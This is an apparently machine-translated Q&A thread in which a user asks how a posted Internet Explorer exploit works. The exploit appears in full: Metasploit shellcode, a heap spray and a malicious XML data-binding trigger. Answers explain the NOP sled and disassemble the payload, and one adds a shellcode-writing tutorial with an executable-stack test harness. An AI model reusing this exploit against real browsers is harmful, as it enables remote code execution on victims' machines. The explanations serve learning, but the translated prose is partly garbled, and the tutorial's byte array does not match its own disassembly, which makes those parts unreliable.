나는 일반적으로 JavaScript 코드를 읽는 데 어려움이 없지만이 코드는 논리를 알 수 없습니다. 이 코드는 4 일 전에 게시 된 악용 코드입니다. 당신은 그것을 찾을 수 있습니다milw0rm .
코드는 다음과 같습니다.
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
여기에 내가 믿은 바가 있으며, 내가 오해하는 부분을 도와주십시오.
변수 shellcode
에는를 여는 코드가 포함되어 있습니다 calc.exe
. 나는 그들이 그 이상한 문자열을 어떻게 찾았는지 알지 못한다. 어떤 생각?
두 번째는 변수 spray
입니다. 이 이상한 루프를 이해하지 못합니다.
세 번째는 memory
어디에도 사용되지 않는 변수 입니다. 그들은 왜 그것을 만드는가?
마지막으로 : 페이지에서 XML 태그는 무엇을합니까?
현재로서는 좋은 답변이 있지만 대부분 매우 일반적인 답변이 있습니다. 코드 값에 대한 자세한 설명을 원합니다. 예는 unescape("%u0a0a%u0a0a");
입니다. 무슨 뜻인가요? 루프에 대해 같은 것 : 개발자가 쓴 이유 : length < 0xd0000
? 이 코드의 이론뿐만 아니라 더 깊은 이해를 원합니다.
답변
쉘 코드에는 실제 악용을 수행하는 일부 x86 어셈블리 명령어가 포함되어 있습니다. spray
에 넣을 긴 명령 시퀀스를 만듭니다 memory
. 우리는 일반적으로 메모리에서 쉘 코드의 정확한 위치를 찾을 수 없으므로 많은 nop
명령을 앞에 넣고 어딘가로 이동합니다. memory
배열은 점프 메커니즘과 함께 실제의 x86 코드를 개최한다. 제작 된 XML을 버그가있는 라이브러리에 공급합니다. 파싱 될 때, 버그로 인해 명령어 포인터 레지스터가 익스플로잇 어딘가에 할당되어 임의의 코드가 실행됩니다.
더 깊이 이해하려면 실제로 x86 코드의 내용을 이해해야합니다. unscape
문자열을 나타내는 바이트 시퀀스를spray
변수에 . 유효한 힙을 채우고 쉘 코드의 시작 부분으로 이동하는 유효한 x86 코드입니다. 종료 조건의 이유는 스크립팅 엔진의 문자열 길이 제한 때문입니다. 특정 길이보다 큰 문자열을 가질 수 없습니다.
x86 어셈블리에서을 0a0a
나타냅니다 or cl, [edx]
. 이것은 nop
우리의 착취를 목적으로 하는 교육 과 실질적으로 동일합니다 . 우리는의에 뛰어든지 spray
우리는 우리가 실제로 실행하고자하는 코드입니다 쉘 코드에 도달 할 때까지, 우리는 다음 명령어로 얻을 것이다.
XML을 보면 0x0a0a
거기에도 있습니다. 어떤 일이 발생하는지 정확히 설명하려면 익스플로잇에 대한 특정 지식이 필요합니다 (버그의 위치와 익스플로잇 방법을 알아야합니다). 그러나 Internet Explorer innerHtml
가 해당 악의적 인 XML 문자열 로 설정하여 버그가있는 코드를 트리거하도록 강제하는 것 같습니다 . Internet Explorer는 구문 분석을 시도하고 버그 코드는 어떻게 든 배열이 존재하는 메모리 위치를 제어합니다 (큰 덩어리이기 때문에 점프 확률이 높음). 우리가 그곳으로 점프하면 CPU는 or cl, [edx]
메모리에 넣은 쉘 코드의 시작 부분에 도달 할 때까지 명령 을 계속 실행 합니다.
쉘 코드를 분해했습니다.
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
이 쉘 코드를 이해하려면 JavaScript가 아닌 x86 어셈블리 지식과 MS 라이브러리 자체의 문제가 필요합니다 (여기에 도달했을 때 시스템 상태를 알기 위해)! 이 코드는 차례로 실행 calc.exe
됩니다.
답변
이것은 Microsoft가 긴급 패치를 발표 한 최근 Internet Explorer 버그 를 악용 한 것으로 보입니다 . Microsoft XML 처리기의 데이터 바인딩 기능의 결함을 사용하여 힙 메모리가 잘못 할당 취소됩니다.
쉘 코드는 버그가 발생할 때 실행될 머신 코드입니다. 스프레이와 메모리는 악용 가능한 조건이 발생하도록 힙에 할당 된 공간입니다.
답변
힙 스프레이는 브라우저를 활용하는 일반적인 방법입니다. 브라우저에 들어가면 다음과 같은 여러 게시물을 찾을 수 있습니다. http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
답변
익스플로잇 토론에서 언급되지 않은 메모리를 볼 때마다 첫 번째 생각은 익스플로잇이 일종의 버퍼 오버 플로라는 것입니다.이 경우 메모리가 버퍼 오버플로를 유발하거나 버퍼 오버플로가 발생하면 액세스됩니다. .
답변
이것은 metasploit에서 유래 한 것으로 metasploit 쉘 코드 중 하나를 사용하고 있음을 의미합니다. 오픈 소스이므로 갈 수 있습니다 : http://www.metasploit.com/
답변
HTML의 문자 인코딩을 참조하십시오 .
JavaScript로 디코딩하는 문자열로 인코딩 된 이진 데이터입니다.
XSS의 일반적인 형태 .
여기에서 모든 인코딩 트릭을 볼 수 있습니다.
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
답변
간단한 쉘 코드 예제
전 세계의 어셈블리 x86 구문에서 안녕하세요. (Wizard in Training).
파일을 설정하십시오.vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
다음과 같이 컴파일하십시오.as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
이제 hello world를 출력하는 바이너리가 있습니다. 바이너리를 쉘 코드 유형으로 변환하려면 다음을 수행하십시오.objdump -D shellcode
당신은 출력을 얻을 것이다 :
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
이제 네 번째 줄에 텍스트가 있으면 다음을 볼 수 있습니다 : 400078: eb 1a jmp 0x400094
말하는 부분 eb 1a
은 어셈블리 명령의 16 진수 표현입니다. jmp one
여기서 “1”은 문자열의 메모리 주소입니다.
실행을 위해 쉘 코드를 준비하려면 다른 텍스트 파일을 열고 16 진수 값을 문자 배열에 저장하십시오. 쉘 코드를 올바르게 형식화하려면 \x
16 진수 값마다 이전 을 입력하십시오 .
다음 쉘 코드 예제는 objdump 명령 출력에 따라 다음과 같습니다.
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
이 예에서는 배열에 C를 사용합니다. 이제 stdout “hello world”에 기록 할 쉘 코드가 있습니다.
쉘 코드를 취약점에 배치하여 테스트하거나 다음 c 프로그램을 작성하여 테스트 할 수 있습니다.
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
프로그램 유형을 컴파일하려면 다음을 수행하십시오.
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
실행 ./run
당신은 리눅스 민트 / 데비안에서 테스트 한 간단한 쉘 코드 개발 작업 예제를 알고있다.